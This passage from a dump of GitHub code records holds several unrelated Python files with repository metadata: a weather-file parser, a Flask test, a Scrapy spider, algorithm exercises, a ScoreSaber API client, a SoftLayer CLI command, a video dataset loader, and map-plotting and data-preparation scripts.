sub_gse_data_dict\n","repo_name":"LittleBearX/Sc_RNA_seq","sub_path":"SRR_master/srr_helper.py","file_name":"srr_helper.py","file_ext":"py","file_size_in_byte":7250,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"} +{"seq_id":"7930750737","text":"# -*- coding: utf-8 -*-\n\nimport pandas as pd\nimport csv\n\nclass epw():\n \"\"\"A class which represents an EnergyPlus weather (epw) file\n \"\"\"\n \n def __init__(self):\n \"\"\"\n \"\"\"\n self.headers={}\n self.dataframe=pd.DataFrame()\n \n \n def read(self,fp):\n \"\"\"Reads an epw file \n \n Arguments:\n - fp (str): the file path of the epw file \n \n \"\"\"\n \n self.headers=self._read_headers(fp)\n self.dataframe=self._read_data(fp)\n \n \n def _read_headers(self,fp):\n \"\"\"Reads the headers of an epw file\n \n Arguments:\n - fp (str): the file path of the epw file \n \n Return value:\n - d (dict): a dictionary containing the header rows \n \n \"\"\"\n \n d={}\n with open(fp, newline='') as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',', quotechar='\"')\n for row in csvreader:\n if row[0].isdigit():\n break\n else:\n d[row[0]]=row[1:]\n return d\n \n \n def _read_data(self,fp):\n \"\"\"Reads the climate data of an epw file\n \n Arguments:\n - fp (str): the file path of the epw file \n \n Return value:\n - df (pd.DataFrame): a DataFrame comtaining the climate data\n \n \"\"\"\n \n names=['Year',\n 'Month',\n 'Day',\n 'Hour',\n 'Minute',\n 'Data Source and Uncertainty Flags',\n 'Dry Bulb Temperature',\n 'Dew Point Temperature',\n 'Relative Humidity',\n 'Atmospheric Station Pressure',\n 'Extraterrestrial Horizontal Radiation',\n 'Extraterrestrial Direct Normal Radiation',\n 'Horizontal Infrared Radiation Intensity',\n 'Global Horizontal Radiation',\n 'Direct Normal Radiation',\n 'Diffuse Horizontal Radiation',\n 'Global Horizontal Illuminance',\n 'Direct Normal Illuminance',\n 'Diffuse Horizontal Illuminance',\n 'Zenith Luminance',\n 'Wind Direction',\n 'Wind Speed',\n 'Total Sky Cover',\n 'Opaque Sky Cover (used if Horizontal IR Intensity missing)',\n 'Visibility',\n 'Ceiling Height',\n 'Present Weather Observation',\n 'Present Weather Codes',\n 'Precipitable Water',\n 'Aerosol Optical Depth',\n 'Snow Depth',\n 'Days Since Last Snowfall',\n 'Albedo',\n 'Liquid Precipitation Depth',\n 'Liquid Precipitation Quantity']\n \n first_row=self._first_row_with_climate_data(fp)\n df=pd.read_csv(fp,\n skiprows=first_row,\n header=None,\n names=names)\n return df\n \n \n def _first_row_with_climate_data(self,fp):\n \"\"\"Finds the first row with the climate data of an epw file\n \n Arguments:\n - fp (str): the file path of the epw file \n \n Return value:\n - i (int): the row number\n \n \"\"\"\n \n with open(fp, newline='') as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',', quotechar='\"')\n for i,row in enumerate(csvreader):\n if row[0].isdigit():\n break\n return i\n \n \n def write(self,fp):\n \"\"\"Writes an epw file \n \n Arguments:\n - fp (str): the file path of the new epw file \n \n \"\"\"\n \n with open(fp, 'w', newline='') as csvfile:\n csvwriter = csv.writer(csvfile, delimiter=',',\n quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n for k,v in self.headers.items():\n csvwriter.writerow([k]+v)\n for row in self.dataframe.itertuples(index= False):\n csvwriter.writerow(i for i in row)","repo_name":"building-energy/epw","sub_path":"epw/epw.py","file_name":"epw.py","file_ext":"py","file_size_in_byte":4255,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"53"} +{"seq_id":"32797196859","text":"from __future__ import annotations\n\nimport json\nimport unittest\nfrom datetime import date\nfrom unittest.mock import patch\n\nfrom tests.application_test import application_test\nfrom tests.fixtures.movie_snapshots_builder import MovieSnapshotsBuilder\nfrom tests.test_client import add_test_client\n\n\n@application_test()\n@add_test_client()\nclass MovieSnapshotResourceTest(unittest.TestCase):\n\n @patch(\"flaskr.resource.movie_snapshots_resource.MovieSnapshotsService\")\n def test_should_return_Ok_given_a_request_to_get_all_movie_snapshots(self, movie_snapshots_service):\n movie_snapshots_service.return_value.get_all.return_value = []\n response = self.test_client.get(\"/movie-snapshots\")\n self.assertEqual(200, response.status_code)\n\n @patch(\"flaskr.resource.movie_snapshots_resource.MovieSnapshotsService\")\n def test_should_return_no_snapshots_given_no_snapshots_exist(self, movie_snapshots_service):\n movie_snapshots_service.return_value.get_all.return_value = []\n response = self.test_client.get(\"/movie-snapshots\")\n self.assertEqual([], response.json)\n\n @patch(\"flaskr.resource.movie_snapshots_resource.MovieSnapshotsService\")\n def test_should_assert_total_snapshots_to_equal_1(self, movie_snapshots_service):\n movie_snapshots_service.return_value.get_all.return_value = [MovieSnapshotsBuilder.any_snapshot().finish()]\n response = self.test_client.get(\"/movie-snapshots\")\n movie_snapshots = response.json\n self.assertEqual(1, len(movie_snapshots))\n\n @patch(\"flaskr.resource.movie_snapshots_resource.MovieSnapshotsService\")\n def test_should_assert_all_snapshots(self, movie_snapshots_service):\n movie_snapshot = MovieSnapshotsBuilder.snapshot_title(\"3 idiots\") \\\n .directed_by(\"Rajkumar Hirani\") \\\n .released_on(date(2009, 12, 25)) \\\n .add_rating_with(value=\"9/10\", source=\"internet\") \\\n .finish()\n\n expected_json = '[{\"title\": \"3 idiots\", \"director\": \"Rajkumar Hirani\", \"release_year\": 2009, \"release_date\": ' \\\n '\"2009-12-25\", \"ratings\": [{\"value\": \"9/10\", \"source\": \"internet\"}]}]'\n\n expected_movie_snapshot_views = json.loads(expected_json)\n\n movie_snapshots = [movie_snapshot]\n movie_snapshots_service.return_value.get_all.return_value = movie_snapshots\n\n response = self.test_client.get(\"/movie-snapshots\")\n actual_movie_snapshot_views = response.json\n self.assertEqual(expected_movie_snapshot_views, actual_movie_snapshot_views)\n","repo_name":"SarthakMakhija/movie-inventory","sub_path":"tests/unit/test_movie_snapshots_resource.py","file_name":"test_movie_snapshots_resource.py","file_ext":"py","file_size_in_byte":2549,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"23791873061","text":"# -*- coding: utf-8 -*-\nimport codecs\nimport json\nfrom xpc import items,pipelines,middlewares\nimport scrapy\n# 使用RedisSpider替换scrapy.Spider 同时删除start_urls.\n# 在redis中插入 name:start_urls 值作为start_urls.\nfrom scrapy_redis.spiders import RedisSpider\nfrom scrapy import Request\n\n\nclass DiscoverySpider(RedisSpider):\n name = 'discovery'\n allowed_domains = ['www.xinpianchang.com']\n start_urls = ['http://www.xinpianchang.com/channel/index/sort-like?from=tabArticle']\n composer_url = 'http://www.xinpianchang.com/u%s?from=articleList'\n\n def parse(self, response):\n pid_list = response.xpath(\"//ul[@class='video-list']/li/@data-articleid\").extract()\n # //ul[@class='video-list']/li/@data-articleid\n thumbnail_list = response.xpath(\"//a[@class='video-cover']/img/@_src\").extract()\n # print(thumbnail)\n # print(len(pid_list))\n url = 'http://www.xinpianchang.com/a%s'\n comment_url = 'http://www.xinpianchang.com/article/filmplay/ts-getCommentApi/id-%s/page-%s'\n # http://www.xinpianchang.com/article/filmplay/ts-getCommentApi/id-10214584/page-2/pagesizi-10\n for num, pid in enumerate(pid_list):\n req = Request(url % pid, callback=self.parse_post)\n req.meta['pid'] = pid\n req.meta['thumbnail'] = thumbnail_list[num]\n yield req\n req_comment = Request(comment_url % (pid,'1'), callback=self.parse_comment)\n req_comment.meta['id'] = pid\n yield req_comment\n next_page = response.xpath('//div[@class=\"page\"]/a[last()]/@href').get()\n if next_page:\n yield response.follow(next_page,callback=self.parse)\n # for pid in pid_list:\n # req_comment = Request(comment_url % pid, callback=self.parse_comment)\n # req_comment.meta['id'] = pid\n # yield req_comment\n\n def parse_post(self, response):\n # print(response.url)\n post = items.PostItem()\n post['thumbnail'] = response.meta['thumbnail']\n post['pid'] = response.meta['pid']\n post['title'] = response.xpath(\"//div[@class='title-wrap']/h3/text()\").get()\n post['preview'] = response.xpath('//div[@class=\"filmplay\"]//img/@src').extract_first()\n post['video'] = response.xpath(\"//source/@src\").get()\n cates = response.xpath(\"//span[@class='cate v-center']/a/text()\").extract()\n for i in range(len(cates)):\n cates[i] = cates[i].strip()\n post['category'] = '-'.join(cates)\n # 缩略图\n # post['thumbnail'] = response.xpath(\"//img[@class='lazy-img lazy-img-show']/@src\").extract()\n # 发布时间\n post['created_at'] = response.xpath(\"//span[@class='update-time v-center']/i/text()\").get()\n # 播放次数\n post['play_counts'] = response.xpath(\"//div[@class='filmplay-data-play filmplay-data-info']//i/text()\").get().replace(',','')\n # 点赞次数\n post['like_counts'] = response.xpath(\"//span[@class='like-btn v-center']/span/@data-counts\").get()\n # 描述\n post['description'] = response.xpath(\"//div[@class='filmplay-info-desc left-section']/p/text()\").get()\n if post['description'] is not None: # 去除\\t \\n等无用字符\n post['description'] = post['description'].strip()\n\n yield (post)\n\n creator_list = response.xpath(\"//div[@class='user-team']/div/ul/li\")\n for a in creator_list:\n cr = items.CopyrightItem()\n cr['cid'] = a.xpath(\"./a/@data-userid\").get()\n cr['pid'] = post['pid']\n cr['pcid'] = cr['cid']+'_'+cr['pid']\n cr['roles'] = a.xpath(\"./div/span/text()\").get()\n yield cr\n post_req_composer = Request(self.composer_url % cr['cid'], callback=self.parse_composer)\n post_req_composer.meta['cid'] = cr['cid']\n yield post_req_composer\n # yield response.follow(self.composer_url % cr['cid'], callback=self.parse_composer)\n # cr = {}\n # cr['cid'] = response.xpath(\"//div[contains(@class,'filmplay-creator')]//li/a/@data-userid\").get()\n # cr['pid'] = post['pid']\n # cr['roles'] = response.xpath(\"//div[contains(@class,'filmplay-creator')]//li/div/span/text()\").get()\n # yield response.follow(composer_url % cr['cid'],callback=self.parse_composer)\n\n def parse_composer(self, response):\n composer_list = items.ComposerItem()\n composer_list['cid'] = response.meta['cid']\n composer_list['banner'] = response.xpath(\"//div[@class='banner-wrap']/@style\").get()[21:-1] # banner[21:-1]\n composer_list['avatar'] = response.xpath(\"//span[@class='avator-wrap-s']/img/@src\").get()\n composer_list['name'] = response.xpath(\"//div[@class='creator-info']/p[1]/text()\").get()\n composer_list['intro'] = response.xpath(\"//div[@class='creator-info']/p[2]/text()\").get()\n composer_list['like_counts'] = response.xpath(\"//span[contains(@class,'like-counts')]/text()\").get().replace(\n ',', '')\n composer_list['fans_counts'] = response.xpath(\"//span[contains(@class,'fans-counts')]/text()\").get().replace(',','')\n composer_list['follow_counts'] = response.xpath(\"//span[@class='follow-wrap']/span[2]/text()\").get()\n composer_list['location'] = response.xpath(\n \"//span[contains(@class,'icon-location')]/following-sibling::span[1]/text()\").get()\n composer_list['career'] = response.xpath(\n \"//span[contains(@class,'icon-career')]/following-sibling::span[1]/text()\").get()\n yield composer_list\n\n # http://www.xinpianchang.com/u10000475?from=articleList\n # 导航背景图 banner\n # 作者名 name\n # 作者头像 avatar\n # 作者简介 intro 可能为空\n # 人气 like_counts\n # 粉丝 fans_counts\n # 关注 follows_counts\n # 所在地 location 可能为空 相邻的第一个span标签following-sibling::span[1]\n # 职业 career 可能为空 [contains(@class,'classname')]\n # parse_composer\n\n def parse_comment(self, response):\n # print(response.url)\n # obj = json.dumps(response.text,ensure_ascii=False)\n # fp = codecs.open('output.txt', 'a+', 'utf-8')\n # fp.write(obj)\n # fp.close()\n obj = json.loads(response.text)\n next_page_url = obj['data']['next_page_url']\n if next_page_url is not None:\n yield response.follow(next_page_url, callback=self.parse_comment)\n total = obj['data']['total']\n total_page = obj['data']['total_page']\n comment_list = obj['data']['list']\n # print(len(comment_list))\n # id = response.meta['id']\n # print('id是:%s,评论%s条'% (count,len(comment_list)))\n # print(obj['data']['next_page_url'])\n # username_list = {}\n\n for ccc in comment_list:\n comment = items.CommentItem()\n comment['commentid'] = ccc['commentid']\n comment['pid'] = ccc['articleid']\n comment['content'] = ccc['content']\n comment['like_counts'] = ccc['count_approve']\n comment['created_at'] = ccc['addtime']\n comment['cid'] = ccc['userInfo']['userid']\n comment['uname'] = ccc['userInfo']['username']\n comment['avatar'] = ccc['userInfo']['face']\n if ccc['reply']:\n comment['reply'] = ccc['reply']['commentid']\n yield comment\n comment_req_composer = Request(self.composer_url % comment['pid'], callback=self.parse_composer)\n comment_req_composer.meta['cid'] = comment['cid']\n yield comment_req_composer\n # json.dump(obj, f)\n","repo_name":"skyyykk/xpc_scrapy","sub_path":"xpc/spiders/discovery.py","file_name":"discovery.py","file_ext":"py","file_size_in_byte":7679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"10623669387","text":"def solution(n, computers):\n answer = 0\n queue = []\n visited = []\n for a in range(n):\n if a not in visited:\n queue.append(a)\n answer += 1\n print(queue)\n while queue : # 큐가 빌때까지 반복\n now = queue.pop(0) \n for i in range(n):\n if computers[now][i] == 1 and i not in visited:\n visited.append(i)\n queue.append(i)\n print(visited,queue)\n return answer","repo_name":"examplezi/Programmers","sub_path":"프로그래머스/lv3/43162. 네트워크/네트워크.py","file_name":"네트워크.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"32302107702","text":"# 백준 14425.py\n# \n# 입력\n# 집합 S에 포함된 문자열의 개수 N, 판별해야 할 문자열의 개수 M\n# N개의 문자열\n# ...\n# M개의 문자열\n# ...\nimport sys\n\n\nsi = sys.stdin.readline\nn, m = map(int, si().split())\ns = {}\nfor _ in range(n):\n s[si().strip()] = 1\n\nin_s_count = 0\nfor _ in range(m):\n if s.get(si().strip()):\n in_s_count += 1\n\nprint(in_s_count)\n","repo_name":"Oneul1213/AlgorithmPractice","sub_path":"src/main/python/boj/14425.py","file_name":"14425.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"8104054036","text":"import requests\nimport json\nimport asyncio\nfrom config import api_request_cooldown\nfrom time import time\nfrom math import ceil\n\napi_cooldown = [0]\nrequest_cache = {}\nuser_agent = {'User-agent': 'scoresaber_dc_announcer_Klappson#0110'}\nprofile_name_url = \"https://new.scoresaber.com/api/players/by-name/{0}\"\nprofile_id = \"https://new.scoresaber.com/api/player/{0}/full\"\nscores_id_page = \"https://new.scoresaber.com/api/player/{0}/scores/recent/{1}\"\n\n\nasync def get_score_page(player_id, page, retries=2) -> list[dict]:\n api_respo = await api_request(\n url=scores_id_page.format(player_id, page),\n retries=retries\n )\n return api_respo[\"scores\"]\n\n\nasync def get_latest_song(player_id):\n scores = await get_score_page(player_id, 1)\n\n if len(scores) < 0:\n return None\n return scores[0]\n\n\nasync def get_full_profile(player_id, retries=2) -> dict:\n return await api_request(\n url=profile_id.format(player_id),\n retries=retries\n )\n\n\nasync def search_player(player_name, retries=2) -> list[dict]:\n api_respo = await api_request(\n url=profile_name_url.format(player_name),\n retries=retries\n )\n return api_respo[\"players\"]\n\n\ndef check_cache(url: str):\n if url not in request_cache:\n print(f\"{url} is not cached\")\n return None\n cache_tupel = request_cache[url]\n cache_age = int(time()) - cache_tupel[0]\n\n if cache_age > 60:\n print(f\"{url} is cached but to old ({cache_age}s)\")\n return None\n\n print(f\"{url} is still cached ({cache_age}s)\")\n return cache_tupel[1]\n\n\nasync def api_request(url: str, retries=0) -> dict:\n cache_result = check_cache(url)\n if cache_result is not None:\n return cache_result\n\n since_last_request = int(time()) - api_cooldown[0]\n if since_last_request < api_request_cooldown:\n sleep_time = ceil(api_request_cooldown - since_last_request)\n print(f\"Waiting {sleep_time} seconds before next api-request\")\n await asyncio.sleep(sleep_time)\n\n async def retry(ex_msg=\"\"):\n if ex_msg != \"\":\n print(ex_msg)\n if retries > 0:\n print(f\"Request Failed! Retrying... {retries}\")\n await asyncio.sleep(10)\n return await api_request(url, (retries - 1))\n else:\n raise IOError(f\"Ran out of retries for {url}\")\n\n try:\n print(f\"Requesting: {url}\")\n request_result = requests.get(url, headers=user_agent)\n api_cooldown[0] = int(time())\n\n if request_result.status_code != 200:\n return await retry(\"HTTP-Code is not 200\")\n\n clean_result = request_result.text.replace(\"'\", \"`\")\n retu = json.loads(clean_result)\n request_cache[url] = (int(time()), retu)\n return retu\n except Exception as e:\n return await retry(repr(e))\n","repo_name":"Klappson/ScoreSaber-announcer-bot","sub_path":"bot_utils/scoresaber.py","file_name":"scoresaber.py","file_ext":"py","file_size_in_byte":2832,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"24878084337","text":"\"\"\"Call arbitrary API endpoints.\"\"\"\nimport click\n\nfrom SoftLayer.CLI import environment\nfrom SoftLayer.CLI import exceptions\nfrom SoftLayer.CLI import formatting\nfrom SoftLayer.CLI import helpers\nfrom SoftLayer import utils\n\nSPLIT_TOKENS = [\n ('in', ' IN '),\n ('eq', '='),\n]\n\n\ndef _build_filters(_filters):\n \"\"\"Builds filters using the filter options passed into the CLI.\n\n This only supports the equals keyword at the moment.\n \"\"\"\n root = utils.NestedDict({})\n for _filter in _filters:\n operation = None\n for operation, token in SPLIT_TOKENS:\n # split \"some.key=value\" into [\"some.key\", \"value\"]\n top_parts = _filter.split(token, 1)\n if len(top_parts) == 2:\n break\n else:\n raise exceptions.CLIAbort('Failed to find valid operation for: %s'\n % _filter)\n\n key, value = top_parts\n current = root\n # split \"some.key\" into [\"some\", \"key\"]\n parts = [part.strip() for part in key.split('.')]\n\n # Actually drill down and add the filter\n for part in parts[:-1]:\n current = current[part]\n\n if operation == 'eq':\n current[parts[-1]] = utils.query_filter(value.strip())\n elif operation == 'in':\n current[parts[-1]] = {\n 'operation': 'in',\n 'options': [{\n 'name': 'data',\n 'value': [p.strip() for p in value.split(',')],\n }],\n }\n\n return root.to_dict()\n\n\ndef _build_python_example(args, kwargs):\n sorted_kwargs = sorted(kwargs.items())\n\n call_str = 'import SoftLayer\\n\\n'\n call_str += 'client = SoftLayer.create_client_from_env()\\n'\n call_str += 'result = client.call('\n arg_list = [repr(arg) for arg in args]\n arg_list += [key + '=' + repr(value)\n for key, value in sorted_kwargs if value]\n call_str += ',\\n '.join(arg_list)\n call_str += ')'\n\n return call_str\n\n\n@click.command('call', short_help=\"Call arbitrary API endpoints.\")\n@click.argument('service')\n@click.argument('method')\n@click.argument('parameters', nargs=-1)\n@click.option('--id', '_id', help=\"Init parameter\")\n@helpers.multi_option('--filter', '-f', '_filters',\n help=\"Object filters. This should be of the form: \"\n \"'property=value' or 'nested.property=value'. Complex \"\n \"filters like betweenDate are not currently supported.\")\n@click.option('--mask', help=\"String-based object mask\")\n@click.option('--limit', type=click.INT, help=\"Result limit\")\n@click.option('--offset', type=click.INT, help=\"Result offset\")\n@click.option('--output-python / --no-output-python',\n help=\"Show python example code instead of executing the call\")\n@environment.pass_env\ndef cli(env, service, method, parameters, _id, _filters, mask, limit, offset,\n output_python=False):\n \"\"\"Call arbitrary API endpoints with the given SERVICE and METHOD.\n\n Example::\n\n slcli call-api Account getObject\n slcli call-api Account getVirtualGuests --limit=10 --mask=id,hostname\n slcli call-api Virtual_Guest getObject --id=12345\n slcli call-api Metric_Tracking_Object getBandwidthData --id=1234 \\\\\n \"2015-01-01 00:00:00\" \"2015-01-1 12:00:00\" public\n slcli call-api Account getVirtualGuests \\\\\n -f 'virtualGuests.datacenter.name=dal05' \\\\\n -f 'virtualGuests.maxCpu=4' \\\\\n --mask=id,hostname,datacenter.name,maxCpu\n slcli call-api Account getVirtualGuests \\\\\n -f 'virtualGuests.datacenter.name IN dal05,sng01'\n \"\"\"\n\n args = [service, method] + list(parameters)\n kwargs = {\n 'id': _id,\n 'filter': _build_filters(_filters),\n 'mask': mask,\n 'limit': limit,\n 'offset': offset,\n }\n\n if output_python:\n env.out(_build_python_example(args, kwargs))\n else:\n result = env.client.call(*args, **kwargs)\n env.fout(formatting.iter_to_table(result))\n","repo_name":"itirohidaka/PowerOff-Functions","sub_path":"virtualenv/lib/python2.7/site-packages/SoftLayer/CLI/call_api.py","file_name":"call_api.py","file_ext":"py","file_size_in_byte":4096,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"} +{"seq_id":"16608203893","text":"#message = str(input(\"Enter your age here: \"))\n\n#print(\"My age is \" + message)\n\nnumbers = [5,3,5,6,3,5,3]\nword = \"because\"\n\ndef isPrime(num):\n for i in range(2, num):\n if (num%i == 0):\n return False\n return True\n\nnewWord = number\n\n\n\n\n\n\n","repo_name":"anshvijay28/projectEuler","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"75064460648","text":"from torch.utils.data import Dataset, DataLoader\nfrom tqdm import tqdm\nfrom dataset.utils import multiLabel_binarizer\nimport torchvision\nimport os.path as osp\nimport os\nimport numpy as np\nimport random\nimport torch\nfrom glob import glob\nimport dataset.video_container as container\nimport dataset.video_decoder as decoder\nimport utils.logger as _logger\n\nlogger = _logger.get_logger(__name__)\n\n\nclass CATER(Dataset):\n def __init__(self, cfg, mode='train'):\n\n # Only support train, val, and test mode.\n assert mode in [\"train\", \"val\", \"test\", ], \\\n \"Split '{}' not supported for CATER\".format(mode)\n\n assert cfg.TASK in [1, 2, 3], \\\n \"Task {} not supported for CATER\".format(cfg.TASK)\n\n self.mode = mode\n self.cfg = cfg\n self.num_tries = 10\n self.ext = [\"avi\", \"mp4\"]\n self.video_meta = {}\n\n if self.mode in [\"train\", \"val\"]:\n self._num_clips = 1\n elif self.mode in [\"test\"]:\n self._num_clips = (\n cfg.TEST.NUM_ENSEMBLE_VIEWS * cfg.TEST.NUM_SPATIAL_CROPS\n )\n\n logger.info(\"Load CATER {}...\".format(mode))\n self._load_data()\n logger.info(\"Successfully load CATER {} (size:{}).\".format(\n self.mode, len(self.video_paths)))\n\n def _load_data(self):\n\n task_name = ['actions_present', 'actions_order_uniq', 'localize']\n label_txt = \"train\" if self.mode in [\"train\"] else \"val\"\n # open label file\n label_path = osp.join(\n self.cfg.DATA_PATH,\n 'lists',\n task_name[self.cfg.TASK-1],\n label_txt+'.txt'\n )\n assert os.path.exists(label_path), \\\n \"{} label file not found\".format(label_path)\n\n with open(label_path) as f:\n\n # save paths for avi and strip\n path_dict = {}\n video_dir = osp.join(self.cfg.DATA_PATH, \"videos\")\n assert os.path.exists(video_dir), \\\n \"{} no such videos dir\".format(video_dir)\n\n for path in os.listdir(video_dir):\n if path.split('.')[-1] in self.ext:\n path_dict[path.split('.')[0]] = osp.join(\n self.cfg.DATA_PATH, \"videos\", path)\n\n # save video paths and labels\n self.video_paths = []\n self.labels = []\n self.spatial_temporal_idx = []\n clip_idx = 0\n for line in f.read().strip().split(\"\\n\"):\n name, string_label = line.strip().split()\n if name.split(\".\")[0] in path_dict:\n for idx in range(self._num_clips):\n self.video_paths.append(path_dict[name.split(\".\")[0]])\n self.spatial_temporal_idx.append(idx)\n self.video_meta[clip_idx * self._num_clips + idx] = {}\n if self.cfg.TASK in [1, 2]:\n self.labels.append(\n multiLabel_binarizer(\n self.cfg,\n [int(i) for i in string_label.split(\",\")]\n )\n )\n else:\n self.labels.append(int(string_label))\n clip_idx+=1\n \n assert (\n len(self.video_paths) > 0\n ), \"Failed to load CATER split {} from {}\".format(\n self.mode, video_dir\n )\n\n def __len__(self):\n return len(self.video_paths)\n\n def __getitem__(self, index):\n\n if self.mode in [\"train\", \"val\"]:\n # -1 indicates random sampling.\n temporal_sample_index = -1\n spatial_sample_index = -1\n min_scale = self.cfg.DATA.TRAIN_JITTER_SCALES[0]\n max_scale = self.cfg.DATA.TRAIN_JITTER_SCALES[1]\n crop_size = self.cfg.DATA.TRAIN_CROP_SIZE\n elif self.mode in [\"test\"]:\n temporal_sample_index = (\n self.spatial_temporal_idx[index]\n // self.cfg.TEST.NUM_SPATIAL_CROPS\n )\n # spatial_sample_index is in [0, 1, 2]. Corresponding to left,\n # center, or right if width is larger than height, and top, middle,\n # or bottom if height is larger than width.\n spatial_sample_index = (\n self.spatial_temporal_idx[index]\n % self.cfg.TEST.NUM_SPATIAL_CROPS\n )\n min_scale, max_scale, crop_size = [\n self.cfg.DATA.TEST_CROP_SIZE] * 3\n # The testing is deterministic and no jitter should be performed.\n\n video_container = None\n try:\n video_container = container.get_video_container(\n self.video_paths[index]\n )\n except Exception as e:\n logger.info(\n \"Failed to load video from {} with error {}\".format(\n self.video_paths[index], e\n )\n )\n try:\n # Select a random video if the current video was not able to access.\n for i in range(self.num_tries):\n if video_container is None:\n index = random.randint(0, len(self.video_paths) - 1)\n continue\n\n # Decode video. Meta info is used to perform selective decoding.\n decoder_config = {\n 'index': spatial_sample_index,\n 'min_scale': min_scale,\n 'max_scale': max_scale,\n 'crop_size': crop_size,\n 'square_scale': self.cfg.DATA.SQUARE_SCALE,\n 'enable_flip': True if self.cfg.TASK in [1, 2] else False\n }\n\n frames = decoder.decode(\n video_container,\n self.cfg.DATA.SAMPLING_RATE,\n self.cfg.DATA.NUM_FRAMES,\n temporal_sample_index,\n self.cfg.TEST.NUM_ENSEMBLE_VIEWS,\n video_meta=self.video_meta[index],\n target_fps=30, \n config=decoder_config,\n )\n\n # If decoding failed (wrong format, video is too short, and etc),\n # select another video.\n if frames is None:\n index = random.randint(0, len(self.video_paths) - 1)\n continue\n\n label = torch.from_numpy(np.array(self.labels[index])).float()\n return frames, label, index\n except:\n raise RuntimeError(\n \"Failed to fetch video after {} retries.\".format(\n self.num_tries\n )\n )\n\n","repo_name":"YIN95/Impact-of-Trajectory-Generation-Methods","sub_path":"Imitation Learning Model/dataset/cater.py","file_name":"cater.py","file_ext":"py","file_size_in_byte":6765,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"8566040078","text":"from mpl_toolkits.basemap import Basemap\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport warnings\nimport matplotlib.cbook\nfrom latlong2 import *\nwarnings.filterwarnings(\"ignore\",category=matplotlib.cbook.mplDeprecation)\n\nfig = plt.figure(num=None, figsize=(12, 8) )\nm = Basemap(projection='moll',lon_0=0,resolution='c') \nm.drawcoastlines()\nm.fillcontinents(color='tan',lake_color='lightblue')\n# draw parallels and meridians.\n\nm.drawmapboundary(fill_color='#A6CAE0', linewidth=0)\nm.fillcontinents(color='grey', alpha=0.7, lake_color='grey')\nm.drawcoastlines(linewidth=0.1, color=\"white\")\n\n# Map (long, lat) to (x, y) for plotting\ndef cityMap(city):\n lat = cityLatLong(city)[0]\n longt = cityLatLong(city)[1]\n city = city.split(' ', 1)[0]\n city = city.split('/',1)[0]\n city = city.split('-',1)[0]\n #print(lat,longt)\n x, y = m(longt, lat)\n plt.plot(x, y, 'ok', marker=\"o\", markersize=8, alpha=0.6, c=\"blue\", markeredgecolor=\"black\", markeredgewidth=1)\n plt.text(x, y, city, fontsize=14, color=\"white\");\n \n\nplt.show()","repo_name":"PanosChristopoulos/Sinialo","sub_path":"map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"26222810025","text":"# ============================================================================\r\n# import libraries\r\n# ============================================================================\r\nprint(\"=====Import libraries=====\")\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\npd.set_option('display.max_columns', 20)\r\nimport tensorflow as tf\r\n\r\n# ============================================================================\r\n# prepare data\r\n# ============================================================================\r\nprint(\"=====Prepare data=====\")\r\n\r\ndf = pd.read_csv('resale-flat-prices-based-on-registration-date-from-jan-2017-onwards.csv')\r\n\r\n# convert data to numeric types which includes one hot encoding\r\ndf['months_past_2017_Jan'] = df['month'].apply(lambda x: (int(x.split(\"-\")[0]) - 2017) * 12 + int(x.split(\"-\")[1]))\r\ndf = pd.concat([df, pd.get_dummies(df['flat_type'], prefix='flat_type')], axis=1)\r\ndf = pd.concat([df, pd.get_dummies(df['town'], prefix='town')], axis=1)\r\ndf['storey'] = df['storey_range'].apply(lambda x: np.random.randint(low=int(x.split(\" \")[0]), high=int(x.split(\" \")[2])+1, size=1)[0])\r\ndf = pd.concat([df, pd.get_dummies(df['flat_model'], prefix='flat_model')], axis=1)\r\ndef lease_helper(x):\r\n lst = x.split(\" \")\r\n if len(lst) == 2:\r\n return int(lst[0]) * 12\r\n else:\r\n return int(lst[0]) * 12 + int(lst[2])\r\ndf['remaining_lease_months'] = df['remaining_lease'].apply(lease_helper)\r\n\r\n# plots various graph to look at relationship between features and label\r\nplt.scatter(df['floor_area_sqm'], df['resale_price'], alpha=0.75, s=0.6)\r\nplt.ylabel('resale_price')\r\nplt.xlabel('floor_area_sqm')\r\nplt.savefig('floor_area_sqm.png')\r\nplt.clf()\r\n\r\nmonth_against_price = df.groupby('months_past_2017_Jan')['resale_price'].mean()\r\nplt.plot(month_against_price.index.values, month_against_price.values)\r\nplt.ylabel('resale_price')\r\nplt.xlabel('months_past_2017_Jan')\r\nplt.savefig('months_past_2017_Jan.png')\r\nplt.clf()\r\n\r\nstorey_against_price = df.groupby('storey')['resale_price'].mean()\r\nplt.plot(storey_against_price.index.values, storey_against_price.values)\r\nplt.ylabel('resale_price')\r\nplt.xlabel('storey')\r\nplt.savefig('storey.png')\r\nplt.clf()\r\n\r\nlease_months_against_price = df.groupby('remaining_lease_months')['resale_price'].mean()\r\nplt.plot(lease_months_against_price.index.values, lease_months_against_price.values)\r\nplt.ylabel('resale_price')\r\nplt.xlabel('remaining_lease_months')\r\nplt.savefig('remaining_lease_months.png')\r\nplt.clf()\r\n\r\nflat_type = df['flat_type'].unique()\r\nflat_type_against_price = []\r\nfor flat in flat_type:\r\n 